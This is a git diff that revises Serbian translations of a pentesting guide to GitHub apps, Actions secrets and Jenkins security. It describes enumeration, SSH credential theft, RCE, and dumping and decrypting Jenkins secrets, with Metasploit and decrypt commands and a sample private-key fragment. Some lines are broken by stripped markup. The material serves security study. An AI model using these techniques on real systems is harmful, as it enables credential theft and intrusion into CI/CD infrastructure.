-Oauth aplikacije mogu vas pitati za dozvole **da pristupe delu vaših github informacija ili da se pretvaraju da ste vi** da bi obavili neke radnje. Uobičajen primer ove funkcionalnosti je **dugme za prijavu sa github-om** koje možete pronaći na nekim platformama.
+Oauth aplikacije mogu vas pitati za dozvole **da pristupite delu vaših github informacija ili da imitirate vas** da obavite neke radnje. Uobičajen primer ove funkcionalnosti je **dugme prijave sa github-om** koje možete pronaći na nekim platformama.
- Možete **kreirati** svoje **Oauth aplikacije** na [https://github.com/settings/developers](https://github.com/settings/developers)
- Možete videti sve **Oauth aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications)
@@ -102,41 +102,41 @@ Oauth aplikacije mogu vas pitati za dozvole **da pristupe delu vaših github inf
Neke **preporuke za bezbednost**:
-- **OAuth aplikacija** bi uvek trebala **delovati kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega.
+- **OAuth aplikacija** uvek treba da **deluje kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega.
- Oauth aplikacija može se koristiti kao provajder identiteta omogućavanjem "Prijava sa GitHub-om" za autentifikovanog korisnika.
-- **Ne** pravite **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na \_svi\_\*\* repozitorijumima autentifikovanog korisnika\*\*.
-- **Ne** pravite Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup.
-- **Više** ovde [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- **Nemojte** praviti **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na _svim_** repozitorijumima autentifikovanog korisnika.
+- **Nemojte** praviti Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup.
+- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github aplikacije
-Github aplikacije mogu tražiti dozvole da **pristupe vašim github informacijama ili da se pretvaraju da ste vi** da bi obavili specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup.
+Github aplikacije mogu tražiti dozvole da **pristupite vašim github informacijama ili da imitirate vas** da obavite specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup.
- Da biste instalirali GitHub aplikaciju, morate biti **vlasnik organizacije ili imati administratorske dozvole** u repozitorijumu.
-- GitHub aplikacija bi trebala **biti povezana sa ličnim nalogom ili organizacijom**.
-- Možete kreirati svoju GitHub aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps)
-- Možete videti sve **GitHub aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Ovo su **API krajnje tačke za GitHub aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekima od njih.
+- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
+- Možete kreirati svoju Github aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps)
+- Možete videti sve **Github aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Ovo su **API krajnje tačke za Github aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekim od njih.
- Možete videti instalirane aplikacije u **organizaciji** na _https://github.com/organizations/\/settings/installations_
Neke preporuke za bezbednost:
-- GitHub aplikacija bi trebala **preduzimati radnje nezavisno od korisnika** (osim ako aplikacija koristi [token za korisnika na serveru](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Da biste održali token za pristup korisnika na serveru sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje tokena za pristup korisnika na serveru](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- GitHub aplikacija treba da **preduzima radnje nezavisno od korisnika** (osim ako aplikacija koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali korisničke pristupne tokene sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje korisničkih pristupnih tokena](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Uverite se da se GitHub aplikacija integriše sa **specifičnim repozitorijumima**.
-- GitHub aplikacija bi trebala **biti povezana sa ličnim nalogom ili organizacijom**.
+- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
- Ne očekujte da GitHub aplikacija zna i radi sve što korisnik može.
-- **Ne koristite GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tok identifikacije korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari.
+- **Nemojte koristiti GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tokene za identifikaciju korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari.
- Ne pravite GitHub aplikaciju ako _samo_ želite da delujete kao GitHub korisnik i radite sve što taj korisnik može.
- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete datoteke radnog toka, morate se autentifikovati u ime korisnika sa Oauth tokenom koji uključuje `workflow` opseg. Korisnik mora imati administratorske ili pisane dozvole za repozitorijum koji sadrži datoteku radnog toka. Za više informacija, pogledajte "[Razumevanje opsega za Oauth aplikacije](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Više** ovde [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-Ovo **nije način za autentifikaciju na github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija.
+Ovo **nije način za autentifikaciju u github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija.
## Git akcije
-Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgradnja docker kontejnera ili provera da PR ne sadrži tajne).
+Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgraditi docker kontejner ili proveriti da PR ne sadrži tajne).
### Konfiguracija
@@ -144,13 +144,13 @@ Na _https://github.com/organizations/\/settings/actions_ moguće je pr
Moguće je potpuno zabraniti korišćenje github akcija, **dozvoliti sve github akcije**, ili samo dozvoliti određene akcije.
-Takođe je moguće konfigurisati **ko treba da odobri pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene.
+Takođe je moguće konfigurisati **ko treba da dobije odobrenje za pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene.
### Git tajne
Github akcije obično trebaju neku vrstu tajni da bi interagovale sa github-om ili aplikacijama trećih strana. Da bi se **izbeglo stavljanje u čistom tekstu** u repozitorijum, github omogućava da se one postave kao **Tajne**.
-Ove tajne mogu biti konfigurisane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao:
+Ove tajne mogu biti konfigurirane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao:
```yaml
steps:
- name: Hello world action
@@ -170,9 +170,9 @@ example-command "$SUPER_SECRET"
> [!WARNING]
> Tajne informacije **mogu se pristupiti samo iz Github Actions** koje ih imaju deklarisane.
-> Kada se jednom konfigurišu u repozitorijumu ili organizacijama, **korisnici github-a više neće moći da im pristupe**, samo će moći da **promene**.
+> Kada su konfigurisane u repozitorijumu ili organizacijama, **korisnici Githuba više neće moći da im pristupe**, samo će moći da **promene**.
-Dakle, **jedini način da se ukradu github tajne je da se može pristupiti mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action).
+Dakle, **jedini način da se ukradu github tajne je da se pristupi mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action).
### Git Okruženja
@@ -184,7 +184,7 @@ runs-on: ubuntu-latest
environment: env_name
```
Možete konfigurisati okruženje da bude **pristupačno** **svim granama** (podrazumevano), **samo za zaštićene** grane ili **odrediti** koje grane mogu da mu pristupe.\
-Takođe može postaviti **broj potrebnih pregleda** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave.
+Takođe može postaviti **broj potrebnih recenzija** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave.
### Git Action Runner
@@ -194,9 +194,9 @@ Nekoliko organizacija će dozvoliti pokretanje Github akcija u **infrastrukturi
Možete **navesti self-hosted trkače** organizacije na _https://github.com/organizations/\/settings/actions/runners_
-Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da pretražujete `runs-on: self-hosted` u yaml konfiguraciji Github akcije.
+Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da potražite `runs-on: self-hosted` u yaml konfiguraciji Github akcije.
-**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer **se generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada.
+**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer se **generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada.
Ako je prilagođeni **Github trkač konfiguran na mašini unutar AWS-a ili GCP-a**, akcija **može imati pristup metapodacima** i **ukrasti token servisnog naloga** sa kojim mašina radi.
@@ -215,7 +215,7 @@ Ako su sve akcije (ili zla akcija) dozvoljene, korisnik bi mogao koristiti **Git
Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**.
-**Zaštite grana repozitorijuma** mogu se naći na _https://github.com/\/\/settings/branches_
+**Zaštite grana repozitorijuma** mogu se pronaći na _https://github.com/\/\/settings/branches_
> [!NOTE]
> **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu.
@@ -224,19 +224,19 @@ Različite zaštite mogu se primeniti na granu (kao na master):
- Možete **zahtevati PR pre spajanja** (tako da ne možete direktno spojiti kod preko grane). Ako je ovo odabrano, različite druge zaštite mogu biti na snazi:
- **Zahtevati broj odobrenja**. Veoma je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR tako da jedan korisnik ne može direktno spojiti kod.
-- **Odbaciti odobrenja kada su novi commit-i poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga.
-- **Zahtevati preglede od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu to odobriti)
-- **Ograničiti ko može odbaciti preglede pull request-a.** Možete odrediti ljude ili timove koji su dozvoljeni da odbace preglede pull request-a.
-- **Dozvoliti određenim akterima da zaobiđu zahteve pull request-a**. Ovi korisnici će moći da zaobiđu prethodne restrikcije.
-- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajni u čistom tekstu).
+- **Odbaciti odobrenja kada su novi commitovi poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga.
+- **Zahtevati recenzije od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu da ga odobre)
+- **Ograničiti ko može da odbaci recenzije pull zahteva.** Možete odrediti ljude ili timove koji mogu da odbace recenzije pull zahteva.
+- **Dozvoliti određenim akterima da zaobiđu zahteve pull zahteva**. Ovi korisnici će moći da zaobiđu prethodne restrikcije.
+- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajnih podataka u čistom tekstu).
- **Zahtevati rešenje razgovora pre spajanja**. Svi komentari na kod moraju biti rešeni pre nego što se PR može spojiti.
-- **Zahtevati potpisane commit-e**. Commit-i moraju biti potpisani.
-- **Zahtevati linearnu istoriju.** Sprečava spajanje commit-a koji se šalju na odgovarajuće grane.
+- **Zahtevati potpisane commitove**. Commitovi moraju biti potpisani.
+- **Zahtevati linearnu istoriju.** Sprečava spajanje commitova da budu poslati na odgovarajuće grane.
- **Uključiti administratore**. Ako ovo nije postavljeno, administratori mogu zaobići restrikcije.
-- **Ograničiti ko može slati na odgovarajuće grane**. Ograničiti ko može poslati PR.
+- **Ograničiti ko može da šalje na odgovarajuće grane**. Ograničiti ko može da pošalje PR.
> [!NOTE]
-> Kao što vidite, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline.
+> Kao što vidite, čak i ako uspete da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline.
## References
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index fd41c920b..c2e03fda5 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -10,7 +10,7 @@ Jenkins je alat koji nudi jednostavan način za uspostavljanje **kontinuirane in
basic-jenkins-information.md
{{#endref}}
-## Neautorizovana enumeracija
+## Neautentifikovana enumeracija
Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (_/people_ ili _/asynchPeople_, ovo prikazuje trenutne korisnike) možete koristiti:
```
@@ -22,7 +22,7 @@ msf> use auxiliary/scanner/http/jenkins_command
```
Bez kredencijala možete pogledati unutar _**/asynchPeople/**_ putanje ili _**/securityRealm/user/admin/search/index?q=**_ za **korisnička imena**.
-Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_
+Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_.
.png>)
@@ -42,11 +42,11 @@ basic-jenkins-information.md
### Registracija
-Moći ćete da pronađete Jenkins instance koje **omogućavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.**
+Moći ćete da pronađete Jenkins instance koje **dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.**
### **SSO Prijava**
-Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (tj. test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (npr., test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
@@ -93,7 +93,7 @@ gitleaks detect --no-git -v
```
### **Krađa SSH kredencijala**
-Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, on bi mogao **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa:
+Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa:
.png>)
@@ -101,7 +101,7 @@ Obično ćete pronaći Jenkins ssh kredencijale u **globalnom provajderu** (`/cr
### **RCE u Jenkins-u**
-Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da iscuri sve **tajne** i **env varijable** i da **iskoristi druge mašine** smeštene u istoj mreži ili čak **prikupi cloud kredencijale**.
+Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da otkrije sve **tajne** i **env varijable** i da **iskoristi druge mašine** locirane u istoj mreži ili čak **prikupi cloud kredencijale**.
Podrazumevano, Jenkins će **raditi kao SYSTEM**. Tako da, kompromitovanje će napadaču dati **SYSTEM privilegije**.
@@ -139,7 +139,7 @@ Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u.
.png>)
-Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na primer, u drugim repozitorijumima) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u.
+Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na drugim repozitorijumima, na primer) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u.
Ako napadač ima **pravo pisanja nad tim fajlom**, moći će da **modifikuje** i **potencijalno pokrene** pipeline bez čak i pristupa Jenkins-u.\
Moguće je da će napadač morati da **obiđe neke zaštite grana** (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne).
@@ -151,7 +151,7 @@ Najčešći okidači za izvršavanje prilagođenog pipeline-a su:
- **Ažuriranje glavne grane** i čekanje da se na neki način izvrši
> [!NOTE]
-> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfiguran**, mogli biste potpuno **kompromitovati kompanije samo eksploatacijom ovoga**.
+> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfigurisano**, mogli biste potpuno **kompromitovati kompanije samo iskorišćavajući ovo**.
### Pipeline RCE
@@ -159,7 +159,7 @@ U prethodnom RCE odeljku već je naznačena tehnika za [**dobijanje RCE modifiko
### Proveravanje Env varijabli
-Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ova:**
+Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:**
```bash
pipeline {
agent {label 'built-in'}
@@ -176,7 +176,7 @@ steps {
```
### Dumping secrets
-Za informacije o tome kako se tajne obično tretiraju u Jenkinsu, pogledajte osnovne informacije:
+Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije:
{{#ref}}
basic-jenkins-information.md
@@ -219,43 +219,43 @@ env
Na kraju ove stranice možete **pronaći sve tipove kredencijala**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **master ključeve** i **šifrovane tajne** i dešifrujete ih van mreže.\
+> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **glavne ključeve** i **kriptovane tajne** i dekriptujete ih offline.\
> Više o tome kako to uraditi u [odeljku Čvorovi i Agenti](./#nodes-and-agents) i u [odeljku Post Eksploatacija](./#post-exploitation).
### Okidači
Iz [dokumentacije](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatske načine na koje bi Pipeline trebao biti ponovo aktiviran**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su `cron`, `pollSCM` i `upstream`.
-Primer crona:
+Primer cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
-Check **other examples in the docs**.
+Proverite **druge primere u dokumentaciji**.
-### Nodes & Agents
+### Čvorovi i Agenti
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
+**Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Sa perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** koje se mogu ukrasti ili **različit pristup mreži** koji se može zloupotrebiti za eksploataciju drugih mašina.
-For more information check the basic information:
+Za više informacija proverite osnovne informacije:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more:
+Možete enumerisati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći **`Built-In Node`** (koji je čvor koji pokreće Jenkins) i potencijalno više:
.png>)
-It is **posebno zanimljivo kompromitovati Built-In node** because it contains sensitive Jenkins information.
+**Posebno je zanimljivo kompromitovati Built-In čvor** jer sadrži osetljive Jenkins informacije.
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+Da biste naznačili da želite da **pokrenete** **pipeline** u **ugrađenom Jenkins čvoru**, možete uneti sledeću konfiguraciju unutar pipeline-a:
```bash
pipeline {
agent {label 'built-in'}
```
### Potpuni primer
-Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage env varijablama, učitavajući 2 varijable u koraku i šaljući reverznu ljusku:
+Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +286,7 @@ cleanWs()
}
}
```
-## Arbitrary File Read to RCE
+## Pročitajte proizvoljnu datoteku do RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Post Exploitation
+## Post Eksploatacija
### Metasploit
```
@@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Tajne
-Možete da navedete tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo navesti tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**.
+Možete nabrojati tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**.
-Ako možete **videti konfiguraciju svakog projekta**, takođe možete videti u njoj **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**.
+Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**.
.png>)
@@ -326,7 +326,7 @@ Ako možete **videti konfiguraciju svakog projekta**, takođe možete videti u n
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
-#### Sa diska
+#### Iz diska
Ove datoteke su potrebne za **dešifrovanje Jenkins tajni**:
@@ -359,7 +359,7 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-#### Dešifrovati Jenkins tajne iz Groovy-a
+#### Dešifrovanje Jenkins tajni iz Groovy-a
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
@@ -369,7 +369,7 @@ println(hudson.util.Secret.decrypt("{...}"))
2. Potražite reč `true` i promenite reč **`true`** u **`false`**.
1. `sed -i -e 's/truefalsetrue` i **ponovo restartujte Jenkins**.
## Reference
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index b75b14559..ff21cef58 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -6,11 +6,11 @@
### Korisničko ime + Lozinka
-Najčešći način prijave u Jenkins je putem korisničkog imena ili lozinke.
+Najčešći način prijavljivanja u Jenkins je putem korisničkog imena ili lozinke.
### Kolačić
-Ako se **autorizovani kolačić ukrade**, može se koristiti za pristup sesiji korisnika. Kolačić se obično naziva `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali prvo mora saznati da je kolačić ukraden).
+Ako se **autorizovani kolačić ukrade**, može se koristiti za pristup sesiji korisnika. Kolačić se obično naziva `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali prvo mora da sazna da je kolačić ukraden).
### SSO/Pluginovi
@@ -31,23 +31,23 @@ U `/configureSecurity` moguće je **konfigurisati metodu autorizacije Jenkins-a*
- **Svako može raditi šta hoće**: Čak i anonimni pristup može administrirati server.
- **Legacy mode**: Isto kao Jenkins <1.164. Ako imate **"admin" ulogu**, dobićete **potpunu kontrolu** nad sistemom, a **inače** (uključujući **anonimne** korisnike) imaćete **pristup za čitanje**.
- **Prijavljeni korisnici mogu raditi šta hoće**: U ovom režimu, svaki **prijavljeni korisnik dobija potpunu kontrolu** nad Jenkins-om. Jedini korisnik koji neće imati potpunu kontrolu je **anonimni korisnik**, koji dobija samo **pristup za čitanje**.
-- **Matrix-based security**: Možete konfigurisati **ko može raditi šta** u tabeli. Svaki **stubac** predstavlja **dozvolu**. Svaki **red** **predstavlja** **korisnika ili grupu/ulogu.** Ovo uključuje posebnog korisnika '**anonimni**', koji predstavlja **neautentifikovane korisnike**, kao i '**autentifikovani**', koji predstavlja **sve autentifikovane korisnike**.
+- **Matrix-based security**: Možete konfigurisati **ko može raditi šta** u tabeli. Svaki **stubac** predstavlja **dozvolu**. Svaki **red** **predstavlja** **korisnika ili grupu/ulogu.** Ovo uključuje posebnog korisnika '**anonimno**', koji predstavlja **neautentifikovane korisnike**, kao i '**autentifikovane**', koji predstavljaju **sve autentifikovane korisnike**.
.png>)
- **Strategija autorizacije zasnovana na projektima:** Ovaj režim je **proširenje** na "**Matrix-based security**" koje omogućava dodatnu ACL matricu da bude **definisana za svaki projekat posebno.**
- **Strategija zasnovana na rolama:** Omogućava definisanje autorizacija koristeći **strategiju zasnovanu na rolama**. Upravljajte rolama u `/role-strategy`.
-## **Sigurnosno područje**
+## **Sigurnosno carstvo**
-U `/configureSecurity` moguće je **konfigurisati sigurnosno područje.** Po defaultu, Jenkins uključuje podršku za nekoliko različitih sigurnosnih područja:
+U `/configureSecurity` moguće je **konfigurisati sigurnosno carstvo.** Po defaultu, Jenkins uključuje podršku za nekoliko različitih sigurnosnih carstava:
- **Delegirati servlet kontejneru**: Za **delegiranje autentifikacije servlet kontejneru koji pokreće Jenkins kontroler**, kao što je [Jetty](https://www.eclipse.org/jetty/).
- **Jenkinsova vlastita baza korisnika:** Koristite **Jenkinsovu ugrađenu bazu podataka korisnika** za autentifikaciju umesto delegiranja na eksterni sistem. Ovo je omogućeno po defaultu.
- **LDAP**: Delegirati svu autentifikaciju na konfigurisan LDAP server, uključujući i korisnike i grupe.
-- **Unix baza korisnika/grupa**: **Delegira autentifikaciju na osnovnu Unix** OS bazu korisnika na Jenkins kontroleru. Ovaj režim će takođe omogućiti ponovnu upotrebu Unix grupa za autorizaciju.
+- **Unix baza korisnika/grupa**: **Delegira autentifikaciju na osnovnu Unix** OS nivo bazu korisnika na Jenkins kontroleru. Ovaj režim će takođe omogućiti ponovnu upotrebu Unix grupa za autorizaciju.
-Pluginovi mogu pružiti dodatna sigurnosna područja koja mogu biti korisna za uključivanje Jenkinsa u postojeće identitetske sisteme, kao što su:
